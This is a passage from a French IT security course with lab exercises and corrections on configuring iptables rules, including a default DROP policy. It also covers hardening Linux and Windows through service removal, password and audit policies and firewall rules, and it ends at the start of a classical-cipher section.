• Enregistrement des scripts iptables :

• Si vous redémarrez la machine, la configuration d'iptables disparaîtra.
PARTIE 2
• Pour enregistrer la configuration et la faire démarrer automatiquement, les deux commandes iptables-save et iptables-restore peuvent être utilisées.
• # iptables-save > /etc/iptables.rules
• #iptables-restore < /etc/iptables.rules

Activité 1
Étape 2 : Travail demandé

• Après avoir examiné les notions fondamentales de iptables, passons maintenant à tester certaines commandes. Pour ce faire, vous êtes chargés de suivre les étapes
suivantes et répondre aux questions :
1. Démarrez votre machine virtuelle Ubuntu et ouvrez son terminal ;
• Il vaut mieux que le mode d’accès réseau de votre machine virtuelle soit Accès par pont.
2. Vérifiez que iptables est installé dans votre machine Ubuntu ;
3. Listez les règles du pare-feu iptables ;
4. Selon le résultat obtenu dans la question précédente, quel est la stratégie par défaut de iptables ?
5. Essayez de pinguer depuis la machine hôte vers la machine virtuelle ;
6. Ajoutez la règle appropriée permettant de bloquer la réception des écho-requests du protocole ICMP ;
7. Listez de nouveaux les règles du pare-feu iptables ;
8. Essayez de pinguer depuis la machine hôte vers la machine virtuelle ;
9. Essayez de pinguer l’url suivant www.google.com depuis la machine virtuelle ;
PARTIE 2
10. Ajoutez la règle appropriée permettant de bloquer l’envoi des écho-requests du protocole ICMP ;
11. Essayez de nouveau de pinguer l’url suivant www.google.com depuis la machine virtuelle ;
12. Enregistrez la configuration effectuée ;
13. Supprimez les règles du pare-feu iptables.

Activité 1
Correction

• Comme illustré dans la figure ci-dessous, pour vérifier que iptables est bien installée dans votre machine Ubuntu, il suffit de taper les commandes suivantes :
• sudo iptables
• sudo iptables -h
• Selon le résultat illustré dans la figure ci-contre, la version du pare-feu iptables est 1.8.7.
Remarques
• En cas ou iptables n’est pas installé dans votre machine, il suffit de
taper les commandes suivantes :
• sudo apt-get update
• sudo apt-get install iptables
PARTIE 2

Activité 1
Correction

• Pour lister les règles du pare-feu iptables, il suffit de taper la commande : sudo iptables -L
• Selon le résultat illustré dans la figure ci-dessus, la stratégie par défaut de iptables est ACCEPT
Remarques
PARTIE 2
• Le résultat de la commande sudo iptables -L démontre qu'aucune

règle de filtrage n’est configuré dans iptables
• La stratégie par défaut est ACCEPT
• Par conséquent, aucun filtrage de paquet n’est appliqué par iptables

Activité 1
Correction

Pour réaliser des test de type ping depuis la machine hôte vers la machine
virtuelle Ubuntu, il faut :
1. Identifier l’adresse IP de la machine virtuelle Ubuntu, en tapant dans son

terminal la commande : ifconfig ou ip address show
Le résultat obtenu démontre que l’adresse IP est : 192.168.0.162
Remarques
• Ces résultats sont obtenus avec la configuration par défaut de
iptables illustrée précédemment.
2. Depuis l’invite de commande de la machine hôte, tapez la commande ping

suivie de l’adresse IP identifiée précédemment :
PARTIE 2
Ping 192.168.0.162
Le résultat obtenu démontre que la machine virtuelle répond aux requêtes
ICMP envoyées de la part de la machine hôte.

Activité 1
Correction

• La règle permettant de bloquer la réception des écho-requests du protocole
ICMP est obtenue suite à l’exécution de la commande suivante :
sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
• L’exécution de la commande précédente ainsi que la règle ajoutée dans

iptables sont illustrées dans la figure ci-contre.
• Pour tester la nouvelle règle configurée dans iptables, il suffit d’exécuter la

commande ping 192.168.0.162 depuis l’invite de commande de la machine
PARTIE 2
hôte
• Le résultat illustré dans la figure ci-contre démontre que la machine Ubuntu
n’a pas répondu aux écho-request reçus et cela est du au fait que iptables a
bloquer la réception de ce type de requêtes.

Activité 1
Correction

• Le résultat de la commande ping www.google.com exécutée depuis le terminal de la
machine virtuelle est illustré dans la figure ci-contre. Ce résultat démontre que la
machine virtuelle a pu envoyer des requêtes ICMP de type echo-request est que le
serveur du site web www.google.com a répondu à ces requêtes.
• La règle permettant de bloquer l’envoie des écho-requests du protocole ICMP est

obtenue suite à l’exécution de la commande suivante :
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP.
• L’exécution de la commande précédente ainsi que la nouvelle configuration de

iptables (qui inclue la nouvelle règle) sont illustrées dans la figure ci-contre
PARTIE 2
• Le résultat de la commande ping www.google.com exécutée après avoir effectuée la

nouvelle configuration de iptables est illustré également dans la figure ci-contre . Ce
résultat démontre que la machine virtuelle n’a pas pu envoyer des requêtes ICMP de
type echo-request au serveur du site web www.google.com

Activité 1
Correction

• Afin d’enregistrer la configuration du pare-feu iptables, il suffit d ’exécuter la commande iptables-save > /etc/iptables.rules en mode super utilisateur.
• Pour supprimer les règles configurées au sein de iptables, il suffit de taper la commande : sudo iptables -F
PARTIE 2

ACTIVITÉ 2
CONFIGURER IPTABLES EN UTILISANT UNE
STRATÉGIE PAR DÉFAUT DROP
• Effectuer une configuration avancée d’un pare-feu (IPTABLES)
• Maitriser le principe du fonctionnement d’un pare-feu

logiciel
6 heures
CONSIGNES
• L’apprenant doit être capable de configurer iptables en partant de la stratégie de
sécurité définie dans un énoncé.
• Il est recommandée de maitriser le principe du fonctionnement d’un pare-feu
• Il faut utiliser le syntaxe des commandes fournie au début de l’activité précédente
• Il est également recommandé de suivre les étapes décrites dans l’énoncé
• Une machine Virtuelle Ubuntu qui a été utilisée dans l’activité 2.
• Réalisation de l’activité précédente avec succès.
• Avoir un pare-feu configuré selon la stratégie de sécurité définie dans l’énoncé
• Réaliser avec succès les tests de vérification demandés dans l’énoncé
Activité 2
Configurer iptables en utilisant une stratégie par défaut
DROP
Étape 1 : Préparation de l’environnement de travail

• L’objectif principal de cette étape est de préparer l’environnement dans lequel l’activité sera réalisée.
• La préparation de l’environnement de travail consiste essentiellement à installer des outils qui nous servirons pour tester l’efficacité des règles configurées
au sein du pare-feu iptables
• Les outils à installer sont principalement :
• Dans la machine hôte : le client Telnet dans la machine hôte
• Dans la machine virtuelle Ubuntu :
1. Le serveur Telnet
2. Netstat
3. Serveur ssh
4. Lynx
• Travail demandé : vous êtes chargés dans cette étape de préparer l’environnement de travail en installant les outils cités précédemment.
PARTIE 2

Activité 2
DROP
Étape 2 : Configuration du pare-feu iptables

• Après avoir préparé l’environnement de travail, l’objectif principal de cette activité est d’implémenter une stratégie de sécurité dans le pare-feu iptables en partant
d’une stratégie par défaut DROP.
• La stratégie de sécurité à implémenter est la suivante :
A. La machine Ubuntu doit être capable d'envoyer des paquet ICMP de type echo-request et de recevoir des paquets ICMP de type echo-reply (un tel message
doit être journalisé, tout en laissant iptables préfixer les messages de journal avec la chaîne "echo reply received") ;
B. La machine Ubuntu doit être capable de générer des messages ICMP "destination-unreachable" ;
C. La machine virtuelle peut se connecter à des serveurs Web à l'aide de connexions HTTP sécurisées, à l'exception du site web www.facebook.com.
• Utilisez la commande nslookup www.facebook.com pour déterminer l'adresse IP du site Web
D. Toutes les connexions TCP de l'hôte principal vers la machine Ubuntu sont possibles, à l'exception des connexions Telnet.
• Travail demandé : Vous êtes chargées de :
1. Changer la politique par défaut de iptables à DROP ;
2. Implémenter la stratégie définie ci-dessus ;
PARTIE 2
3. Effectuer des tests de vérification pour vérifier l’efficacité de la configuration effectuée ;

4. Enregistrer la configuration effectuée ;
5. Supprimer la configuration effectuée.

Activité 2
Correction

• Pour installer le client Telnet dans la machine hôte (qui est une machine Windows), il suffit de suivre les étapes suivantes :
1. Accédez à Programmes et fonctionnalités et sélectionnez Activer ou désactiver des fonctionnalités Windows.
1. Une fenêtre intitulé Fonctionnalités de Windows s’affiche, sélectionnez alors Client Telnet.
2. Cliquez ensuite sur OK.
PARTIE 2

Activité 2
Correction

Pour installer le serveur Telnet dans la machine virtuelle Ubuntu, il suffit de suivre les étapes suivantes :
1. Installez les services xinetd et telnetd en exécutant la commande suivante :

sudo apt-get install xinetd telnetd
2. Créez ensuite le fichier /etc/xinetd.d/telnet en utilisant la commande :

sudo nano /etc/xinetd.d/telnet
3. Ajoutez dans ce fichier les lignes suivantes :
service telnet
{
disable = no
PARTIE 2
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
}

Activité 2
DROP

4. Redémarrez ensuite le service xinetd en tapant la commande : sudo systemctl restart xinetd.service
5. Testez le bon fonctionnement du serveur Telnet installé, en essayant de vous connecter en utilisant Telnet depuis la machine hôte vers la machine virtuelle Ubuntu. Cela
est possible en tapant dans l’invite de commande Windows la commande Telnet @IP où @IP représente l’adresse IP de la machine virtuelle Ubuntu (192.168.0.162)
PARTIE 2

Activité 2
Correction

• Pour installer Netstat, il suffit de taper la commande suivante : sudo apt install net-tools
• Pour tester le bon fonctionnement du netstat, il suffit de taper la commande : sudo netstat
PARTIE 2
• Pour vérifier que le service Telnet est actif sur le port 23, il suffit de taper la commande : sudo netstat -tan

Activité 2
Correction

• Pour installer le serveur ssh, il suffit de taper la commande suivante : sudo apt install openssh-server
• Pour tester le bon fonctionnement du serveur SSH installé, il suffit d’essayer de se connecter en utilisant SSH depuis la machine hôte vers la machine virtuelle Ubuntu.
Cela est possible en utilisant l’outil Putty.
PARTIE 2

Activité 2
Correction

• Pour installer Lynx, il suffit de taper la commande suivante : sudo apt install Lynx.
• Pour tester Lynx, il suffit de taper la commande : sudo lynx www.google.com.

• Le résultat obtenu démontre que lynx a été bien installé puisqu’il a pu afficher
l’interface www.google.com
PARTIE 2

Activité 2
Correction

• Pour changer la politique par défaut de iptables à DROP, il suffit de taper
les commandes suivantes :
• sudo iptables -P INPUT DROP
• sudo iptables -P OUTPUT DROP
• sudo iptables -P FORWARD DROP
• Pour vérifier le changement de la stratégie par défaut de ACCEPT à DROP,
il suffit d’exécuter la commande : sudo iptable –L
• La figure ci-contre illustre les résultats d’exécution des commandes
précédentes.
PARTIE 2

Activité 2
Correction

• La première condition (A) de la stratégie définie est la suivante :
A. La machine Ubuntu doit être capable d'envoyer des paquet ICMP de type echo-request et de recevoir des paquets ICMP de type echo-reply (un tel message
doit être journalisé, tout en laissant iptables préfixer les messages de journal avec la chaîne "echo reply received").
• Pour implémenter une telle condition, il suffit de taper les commandes suivantes dans l’ordre donné :
• sudo iptables -A INPUT -p icmp --icmp-type echo-reply -j LOG --log-prefix "echo reply received "
➢ Cette ligne de commande permet de journaliser les requêtes ICMP de type echo-reply avec un préfix "echo reply received".
• sudo iptables -A INPUT -p icmp -m state --state established -j ACCEPT
➢ Cette ligne de commande permet d’accepter les paquets ICMP faisant partie d'une connexion déjà établie.
• sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
➢ Cette ligne de commande permet d’accepter la sortie des paquets ICMP de type echo-request.
• La figure ci-dessous illustre l’exécution des commandes précédentes :
PARTIE 2

Activité 2
Correction

• Pour vérifier l’efficacité de la configuration effectuée, il suffit de :
• Lister les règles configurées dans le pare-feu ;
• Tester un ping sortant de la machine Ubuntu vers n’importe quel adresse IP ;
• Vérifier la journalisation des requêtes ICMP de type echo-reply avec le préfix défini "echo reply received« ;
• Les résultats illustrés dans les deux figures ci-dessous illustrent que la configuration effectuée répond exactement aux exigences demandées dans la
stratégie de sécurité :
PARTIE 2

Activité 2
Correction

• La deuxième condition (B) de la stratégie définie est la suivante :
B. La machine Ubuntu doit être capable de générer des messages ICMP "destination-unreachable"
• Pour implémenter une telle condition, il suffit de taper la commande suivante : sudo iptables -A OUTPUT -p icmp --icmp-type destination-unreachable -j ACCEPT
• La figure ci-dessous illustre le résultat de l’exécution de la commande précédente :
PARTIE 2

Activité 2
Correction

• La troisième condition (C) de la stratégie définie est la suivante :
C. La machine virtuelle peut se connecter à des serveurs Web à l'aide de connexions HTTP sécurisées, à l'exception du site web www.facebook.com.
• Pour identifier l’adresse IP du site web www.facebook.com, il suffit de taper la commande : nslookup www.facebook.com.
• Pour implémenter la condition (C), il suffit de taper les commandes suivantes dans l’ordre donné :
• sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
• sudo iptables -A OUTPUT -p udp -j ACCEPT
PARTIE 2
• sudo iptables -A OUTPUT -d 31.13.69.35 -p tcp --dport 443 -j DROP

• sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
• sudo iptables -A INPUT -p tcp -m state --state established -j ACCEPT
• sudo iptables -A INPUT -p udp -j ACCEPT

Activité 2
Correction
Les figures ci-dessous illustrent l’exécution des commandes précédentes et la configuration obtenue du pare-feu iptables :
PARTIE 2

Activité 2
Correction

• Pour vérifier l’efficacité de la configuration effectuée, il suffit d’ouvrir n’importe quel site web (à l’exception du site web www.facebook.com) en utilisant l’outil lynx
• La figure ci-dessous illustre le résultat de l’exécution de la commande sudo lynx www.google.com. Le résultat illustré montre qu’il est possible d’avoir accès au site lynx
www.google.com depuis la machine Ubuntu
PARTIE 2

Activité 2
Correction

• La dernière condition (D) de la stratégie définie est la suivante :
D. Toutes les connexions TCP de l'hôte principal vers la machine Ubuntu sont possibles, à l'exception des connexions Telnet.
• Pour implémenter une telle condition, il suffit de taper les commandes suivantes dans l’ordre donné :
• sudo iptables -A INPUT -p tcp --dport 23 -j DROP

➢ Cette ligne de commande permet d’empêcher toute connexion Telnet (sur le port 23) vers la machine Ubuntu.
• sudo iptables -A INPUT -p tcp -j ACCEPT

➢ Cette ligne de commande permet d’accepter toute connexion TCP vers la machine Ubuntu.
• sudo iptables -A OUTPUT -p tcp -m state --state established -j ACCEPT

PARTIE 2
➢ Cette ligne de commande permet d’accepter les paquets TCP faisant partie d'une connexion déjà établie. Cette ligne est essentielle puisqu’elle donne la
possibilité à la machine Ubuntu de répondre aux requêtes TCP faisant partie d’une connexion établie.

Activité 2
Correction
Les figures ci-dessous illustrent l’exécution des commandes précédentes et la configuration obtenue du pare-feu iptables
PARTIE 2

Activité 2
Correction

• Pour vérifier l’efficacité de la configuration effectuée, il suffit de :
• Tester d’établir une connexion SSH avec la machine Ubuntu. Les figures ci-dessous démontrent qu’il est possible d’établir une connexion SSH.
PARTIE 2
• Essayez d’établir une connexion Telnet avec la machine Ubuntu. La figure ci-dessous démontre qu’il est impossible d’établir une connexion Telnet :

ACTIVITÉ 3
SÉCURISER LES SYSTÈMES LINUX

• Maitriser les bonnes pratiques de sécurisation d’un système

d’exploitation Linux
3 heures
CONSIGNES
• L’apprenant doit être capable d’appliquer les configurations et les bonnes pratiques
de sécurisation d’un système d’exploitation Linux en partant des stratégies de
sécurité définies dans un énoncé.
• Il est recommandée de maitriser les bonnes pratiques de sécurisation d’un système
d’exploitation Linux
• Une machine Virtuelle Ubuntu
• Désactiver avec succès les services inutiles
• Définir avec succès une stratégie des mots de passes utilisateurs
Activité 3
Sécuriser les systèmes Linux

• L’objectif de cette activité est d’appliquer un ensemble de bonnes pratiques de configuration permettant de durcir un système d’exploitation Linux afin d’éliminer de
nombreuses surfaces d'attaques.
• Pour ce faire, les mesures de sécurité à appliquer dans cette activité sont comme suit :
1. Désactiver les services inutiles :
• Lister les services actives en utilisant la commande : lsof –i ;

• Désactiver les services inutiles en utilisant la commande : apt-get remove <nom-service>.
2. Définir un modèle de sécurité des mots de passe utilisateurs

• Ajouter un utilisateur User1 et lui attribuer un mot de passe, en tapant les commandes suivantes :
• sudo adduser user1
PARTIE 2
• sudo passwd user1

Activité 3

• Modifier le fichier /etc/pam.d/common-password pour configurer les stratégies de mot de passe en utilisant les paramètres suivants :
• retry: Nombre de fois consécutives qu'un utilisateur peut entrer un mot de passe incorrect.. Choisir 4 comme valeur.
• minlen: Longueur minimale du mot de passe. Choisir 9 comme valeur.
• lcredit: Nombre minimal de lettres minuscules. Choisir 2 comme valeur
• ucredit: Nombre minimal de lettres majuscules. Choisir 2 comme valeur
• ocredit: Nombre minimal de symboles. Choisir 1 comme valeur
• Modifier le mot de passe de l’utilisateur user1 pour tester la nouvelle configuration
2. Définir une période d’expiration d’un mot de passe
• Modifier le fichier /etc/login.defs pour définir la période d’expiration d’un mot de passe comme suit :
• PASS_MAX_DAYS 120 → Nombre de jours maximum de validité d’un mot de passe est 120 jours
• PASS_MIN_DAYS 0 → Nombre de jours minimal pour changer un mot de passe est 0 jours
• PASS_WARN_AGE 8 → Nombre de jours avant l’expiration pour alerter les utilisateur est 8 jours
PARTIE 2
• Vérifier si la période d’expiration définie est appliquée à l’utilisateur user1 en exécutant la commande sudo chage -l user1

Activité 3

• Utiliser les commandes suivantes pour définir la période d expiration définie précédemment pour user1 :
• sudo chage -M 120 user1
• sudo chage -m 0 user1
• sudo chage -W 8 user1
• Vérifier de nouveau la période d’expiration définie pour l’utilisateur user1 en exécutant la commande sudo chage -l user1
PARTIE 2

Activité 3
Correction
Désactiver les services inutiles :

Pour lister les services actifs dans un système Linux, exécutez la commande sudo lsof-i :
D’après le résultat affiché dans la figure ci-dessus, nous pouvons remarquer la présence du service avahi-daemon qui pourra être désinstallé ou désactivé.
PARTIE 2

Activité 3
Correction
Désactiver les services inutiles :

Pour désinstaller le service avahi-daemon, exécutez la commande sudo apt-get Listez de nouveau les services actifs en exécutant la commande sudo lsof -i
remove avahi-daemon
PARTIE 2

Activité 3
Correction
Définir un modèle de sécurité des mots de passe utilisateurs

Ces figures illustrent l’ajout d’un nouveau utilisateur user1 et le test d’utilisation de cet utilisateur
PARTIE 2

Activité 3
Correction

• Pour éditer le fichier fichier /etc/pam.d/common-password, il suffit d’exécuter la commande sudo nano fichier /etc/pam.d/common-password
La figure ci-dessous illustre la configuration par défaut du fichier /etc/pam.d/common-password

PARTIE 2

Activité 3
Correction

La figure ci-dessous illustre la nouvelle configuration du fichier /etc/pam.d/common-password qui répond à la stratégie définie dans l’énoncé :
Cette figure illustre la modification du mot de passe de l’utilisateur user1. Le résultat illustré montre que la nouvelle configuration est bien appliqué
PARTIE 2

Activité 3
Correction
Définir une période d’expiration d’un mot de passe

La figure ci-dessous illustre la configuration par défaut du fichier /etc/login.defs
La figure ci-dessous illustre la nouvelle configuration du fichier /etc/login.defs qui répond aux exigences de l’énoncé
PARTIE 2

Activité 3
Correction
Définir une période d’expiration d’un mot de passe

En exécutant la commande sudo chage -l user1 , nous pouvons remarquer que la configuration définie précédemment n’est pas applicable pour les anciens utilisateurs.
L’application de la configuration d’une période d’expiration d’un mot de passe à un ancien utilisateur en utilisant la commande chage
PARTIE 2

ACTIVITÉ 4
SÉCURISER LES SYSTÈMES WINDOWS

• Maitriser les bonnes pratiques de sécurisation d’un système

d’exploitation Windows
6 heures
CONSIGNES
• L’apprenant doit être capable d’appliquer les configurations et les bonnes pratiques
de sécurisation d’un système d’exploitation Windows en partant des stratégies de
sécurité définies dans un énoncé.
• Il est recommandée de maitriser les bonnes pratiques de sécurisation d’un système
d’exploitation Windows
• Une machine virtuelle Windows. Un fichier ISO d’installation de Windows 10 pourra
être téléchargé à partir du lien suivant : https://tb.rg-
adguard.net/dl.php?go=7119d4be
• Configurer avec succès les stratégies de sécurité définies dans l’énoncé de l’activité
Activité 4
Sécuriser les systèmes Windows
Introduction
• L’objectif de cette activité est d’appliquer un ensemble de bonnes pratiques de configuration permettant de durcir un système d’exploitation Windows afin d’éliminer de
nombreuses surfaces d'attaques.
• Pour ce faire, les mesures de sécurité à appliquer dans cette activité sont comme suit :
1. Désactiver les services inutiles et renforcer le niveau de sécurité des services existants ;
2. Limiter les connexions réseau ;
3. Limiter les risques liés à l'usage de médias amovibles ;
4. Définir un modèle de sécurité pour les comptes système ;
5. Définir une stratégie d’audit ;
6. Exécuter la restauration du système et créez un point de restauration ;

PARTIE 2
7. Configurer des règles de sécurité pour le pare-feu Windows.

Activité 4
Étape 1 : Désactiver les services inutiles et renforcer le niveau de sécurité des services existants
• L’objectif de cette étape est de désactiver les services qui sont inutiles pour le fonctionnement du système. Cela permet de réduire efficacement la surface d’attaque.
• Pour afficher la liste des services activés dans un système Windows, il suffit de lancer services.msc (taper services.msc dans la barre de recherche Windows). Une
interface affichant les différents services ainsi que leurs états (désactivés, lancés manuellement ou automatiquement).
• En parcourant la liste des services affichez dans cette interface, désactivez ceux qui ne sont pas utiles.
• Exemples de services inutiles qui doivent être désactivés :
• Téléphonie
• Télécopie
• Carte à puce
• Service de prise en charge Bluetooth
• Spouleur d’impression
• Service initiateur iSCSI Microsoft
• Partage de connexion Internet
PARTIE 2
• Routage et accès distant
• Travail demandez : Essayez au moins de désactivez les services inutiles cités précédemment..

Activité 4
• Certaines services ne peuvent pas être désactivé. Il est possible de renforcer leurs niveaux de sécurité au
travers de la politique locale du poste.
• Dans cette activité, vous êtes chargés de renforcer la sécurité de l’authentification à distance. Pour ce
faire :
• Lancez gpedit.msc (tapez gpedit.msc dans la barre de recherche Windows)
• Allez dans : Configuration ordinateur → Paramètres Windows → Paramètres de sécurité-->
Stratégies locales → Options de sécurité
• Parcourez la liste et sélectionner Sécurité réseau : niveau d'authentification du LAN Manager
• Examinez la liste fournie pour les différents niveau d’authentification fournis. Pour avoir une idée
sur la signification de chaque niveau de sécurité, tapez le menu Expliquer (comme illustré dans la
figure ci-dessous)
• Attribuez comme niveau de sécurité la valeur « uniquement NTLM v2, Refuser LM »
• Validez le choix
PARTIE 2

Activité 4
Étape 2 : Limiter les connexions réseau

• Les objectifs de cette étape sont de limiter les fonctions d’une interface réseau et désactiver les protocoles réseau inutiles afin de limiter les attaques réseau.
1. Afin d’examiner les fonctions d'une interface réseau et sélectionner celles qui sont utiles, sélectionnez Panneau de configuration → Réseau et Internet/Connexion
réseau → clic droit sur l’interface réseau (Ethernet) → Propriétés.
• Souvent, les fonctions d’une interface réseau utile pour la plupart des systèmes sont :
• Client pour réseau Microsoft
• Protocole Internet version 4 (TCP/IPv4)
• Les autres options peuvent être désactivées (ou désélectionnées) :
• Partage de fichiers et imprimantes :Utile pour les serveurs de fichiers
• Planificateur de paquets QoS : Utile dans le cas de l’adoption de la priorisation du trafic
• Les protocoles de découverte LLDP et topologie de la couche de liaison : Inutiles
• Travail demandé : Désactivez les fonctions inutiles de votre interface réseau
PARTIE 2
2. Désactivez le protocole IPv6 inutilisé comme suit : Panneau de configuration → Gestionnaire de périphériques → Menu Affichage → Afficher les périphériques
cachés/réseau→ désactivez Wan Miniport IPv6.

Activité 4
Étape 3 : Limiter les risques liés à l'usage de médias amovibles
• Pour bloquer les attaques exploitant les médias amovibles, il est possible de désactiver la possibilité d'utilisation des médias amovibles sur les postes.
• Pour ce faire, vous êtes appelés à :
• Lancer gpedit.msc ;
• Activer les deux options suivantes :
• Configuration Ordinateur → Modèle d'administration → Système → Accès au stockage amovible → Toutes les classes de stockage amovible : refuser
tous les accès
• Configuration Ordinateur → Modèle d'administration → Système → Installation de périphérique → Restriction d'installation de périphériques →
Empêcher l'installation de périphériques amovibles
PARTIE 2

Activité 4
Étape 4 : Définir un modèle de sécurité pour les comptes système

• L’objectif de cette étape est de définir un modèle de sécurité pour les comptes systèmes
• Pour ce faire, il vous est demandé de :
• Configurez une politique de mots de passe des comptes comme suit :

• La longueur des mots de passe doit être supérieur ou égale à 8 caractères composés de minuscules, de majuscules et de chiffres
• La durée de vie maximale doit être 30 jours
• La durée de vie minimale doit être supérieure à zéro
• Les anciens mots de passe ne doivent pas être réutilisés en permanence (seuil égale à 24)
• Définir un seuil de verrouillage égal à 3 échecs de connexion à tous les comptes d'utilisateurs
• Pour configurer la stratégie demandée, il suffit de lancer Stratégie de sécurité locale → Stratégie de comptes
PARTIE 2

Activité 4
Étape 5 : Définir une stratégie d’audit

• L’objectif principal de cette étape est d’activer et configurer la journalisation des principaux évènement exécutés dans un système. Cela permet d’identifier les sources
de menaces lors de l’apparition d’une attaque de sécurité
• Pour ce faire, il vous est demandé de :

• Activer la journalisation des tentatives réussies et échouées pour les événements système
• Activer la journalisation des tentatives réussies et échouées pour les événements de connexion au compte et la connexion événements
• Activer uniquement la journalisation des tentatives réussies d'utilisation des privilèges et d'accès aux objets
• Pour configurer la stratégie demandée, il suffit de lancer Stratégie de sécurité locale → Stratégies locales → Stratégie d’audit
PARTIE 2

Activité 4
Étape 6 : Exécuter la restauration du système et créez un point de restauration.

• Cette étape est importante car elle permet de créer des sauvegardes d'image système de l'ensemble d’un système d'exploitation, y compris les fichiers systèmes, les
programmes installés et les fichiers personnels
• Il est possible d’enregistrer l’image système sur un lecteur interne ou externe, ou sur des CD ou des DVD
• Pour ce faire, allez dans Panneau de configuration→ Système et maintenance → Sauvegarde et restauration
PARTIE 2
• Dans le volet de gauche, cliquez sur Créer une image système, puis suivez les étapes

Activité 4
Étape 7 : Configurer des règles de sécurité pour le pare-feu Windows

• L’objectif de cette étape est de découvrir les étapes de configuration de nouvelles règles à un pare-feu Windows
• Pour ce faire, dans cette étape vous allez ajouter une règle au pare-feu Windows qui autorise la mise à jour du système Windows
• En effet, parmi les bonnes pratiques de sécurité, figure celle de mettre à jour constamment le système d’exploitations
• Pour allez ajouter une règle au pare-feu Windows qui autorise la mise à jour du système Windows, vous êtes chargés de :
• Aller dans Panneau de configuration → Pare-feu Windows → Paramètres Avancés
• Cliquer sur Règles de trafic sortants → Nouvelle règle
• Sélectionner Personnalisée → Services → Personnaliser → défiler la liste et trouver Windows Update → Appliquer à ce service →ok →Suivant
• Sélectionner TCP comme protocole puis cliquer suivant
• Dans la fenêtre Action, sélectionner Autoriser la connexion puis cliquer sur suivant
• Cocher tous les profils pour cette règle
PARTIE 2
• Donner un nom à cette règle, "Autoriser le service Windows Update"

Activité 4
Correction
Cette figure illustre l’interface qui affiche les différents services, qui est lancée suite à l’exécution de services.msc
PARTIE 2

Activité 4
Correction
Cette figure illustre la désactivation du service Téléphonie Cette figure illustre la désactivation du service Télécopie
PARTIE 2

Activité 4
Correction
Cette figure illustre la désactivation du service Carte à puce Cette figure illustre la désactivation du service Service de prise en charge Bluetooth
PARTIE 2

Activité 4
Correction
Cette figure illustre la désactivation du service Spouleur d’impression Cette figure illustre la désactivation du service Service Initiateur iSCSI de Microsoft
PARTIE 2

Activité 4
Correction
Cette figure illustre la désactivation du service Partage de connexion Internet Cette figure illustre la désactivation du service Routage et accès distant
PARTIE 2

Activité 4
Correction
Cette figure illustre l’amélioration du niveau de sécurité de l’authentification à distance (Sécurité réseau : niveau d'authentification du LAN Manager) en lui attribuant
comme valeur « uniquement NTLM v2, Refuser LM »
PARTIE 2

Activité 4
Correction

Figures illustrant la désactivation des fonctions inutiles d’une interface réseau.
PARTIE 2

Activité 4
Correction

Figures illustrant la désactivation de Wan Miniport IPv6
PARTIE 2

Activité 4
Correction

Figures illustrant l’activation de l’option Toutes les classes de stockage amovible : refuser tous les accès
PARTIE 2

Activité 4
Correction

Figures illustrant l’activation de l’option Empêcher l'installation de périphériques amovibles
PARTIE 2

Activité 4
Correction

L’interface de configuration de la stratégie de mot de passe Durée de vie maximale d’un mot de passe configurée égale à 30 jours
PARTIE 2

Activité 4
Correction
Durée de vie minimale d’un mot de passe configurée égale à 5 jours Longueur minimale d’un mot de passe configurée égale à 8 caractères
PARTIE 2

Activité 4
Correction
Activation de l’option de vérification de complexité d’un mot de passe Restreindre l’utilisation d’un ancien mot de passe avec un seuil égal à 24
PARTIE 2

Activité 4
Correction

Interface illustrant la configuration de la nouvelle stratégie de mot de passe
PARTIE 2

Activité 4
Correction

Interfaces illustrant la configuration d’un seuil de verrouillage égal à 3 échecs de connexion à tous les comptes d'utilisateurs.
PARTIE 2

Activité 4
Correction

Interfaces illustrant la configuration de la nouvelle stratégie de verrouillage de comptes
PARTIE 2

Activité 4
Correction

Cette figure illustre l’interface permettant la configuration de la stratégie d’audit Cette figure illustre l’activation de la journalisation des tentatives
réussies et échouées pour les événements système.
PARTIE 2

Activité 4
Correction

Cette figure illustre l’activation de la journalisation des tentatives réussies Cette figure illustre l’activation de la journalisation des tentatives réussies et
et échouées pour les événements de connexion échouées pour les événements de connexion aux comptes
PARTIE 2

Activité 4
Correction

Cette figure illustre l’activation de la journalisation des tentatives réussies Cette figure illustre l’activation de la journalisation des tentatives réussies pour
pour l’utilisation des privilèges l’accès aux objets
PARTIE 2

Activité 4
Correction

Cette figure illustre la configuration finale de la stratégie d’audit définie
PARTIE 2

Activité 4
Correction
Étape 6 : Exécuter la restauration du système et créez un point de restauration.
Ces figures illustrent les étapes de création d’un point de restauration

PARTIE 2

Activité 4
Correction

Cette figure illustre l’interface de configuration du pare-feu Windows
PARTIE 2

Activité 4
Correction

Dans cette fenêtre, il suffit de sélectionner Personnalisée puis de cliquer Dans cette fenêtre, sélectionnez Personnaliser , sélectionnez ensuite Appliquer
sur Suivant à ce service et défilez la liste pour sélectionner Windows Update et cliquez sur
OK et ensuite sur Suivant
PARTIE 2

Activité 4
Correction

Dans cette fenêtre, il suffit de sélectionner TCP comme protocole, puis de Dans cette fenêtre, conservez les paramètres par défaut et cliquez sur
cliquer sur Suivant Suivant
PARTIE 2

Activité 4
Correction

Dans cette fenêtre, il suffit de sélectionner Autoriser la connexion, puis de Dans cette fenêtres, sélectionnez tous les profils (Domaine, Privé et
cliquer sur Suivant Publique) puis cliquez sur Suivant
PARTIE 2

Activité 4
Correction

Dans cette fenêtre il suffit de définir le nom de la règle, "Autoriser le service Windows Update", puis de cliquer sur Terminer
PARTIE 2

Activité 4
Correction

Cette interface illustre que la nouvelle règle définie a été ajoutée avec succès au pare-feu et apparaît dans la liste des règles
PARTIE 2

PARTIE 3
DÉCOUVRIR LA CRYPTOGRAPHIE ET LES
SOLUTIONS DE GESTION ET DE PARTAGE
DE CLÉS
• Chiffrer et déchiffrer des textes en utilisant des algorithmes

de chiffrement classique
• Utiliser OpenSSL pour chiffrer, déchiffrer, et signer des
textes, générer des clés, mettre en place une PKI, et générer
des certificats numériques
13 heures
ACTIVITÉ 1
APPLICATION DES TECHNIQUES DE
CHIFFREMENT CLASSIQUES
• Chiffrer des textes en utilisant des algorithmes de

chiffrement classique
• Déchiffrer des textes en utilisant des algorithmes de
chiffrement classique
• Maitriser les principes des algorithmes de chiffrement

classique, en particulier César et Vigenère
1 heure
CONSIGNES
• L’apprenant doit être capable de chiffrer un texte en claire avec le chiffrement de
César et Vigenère
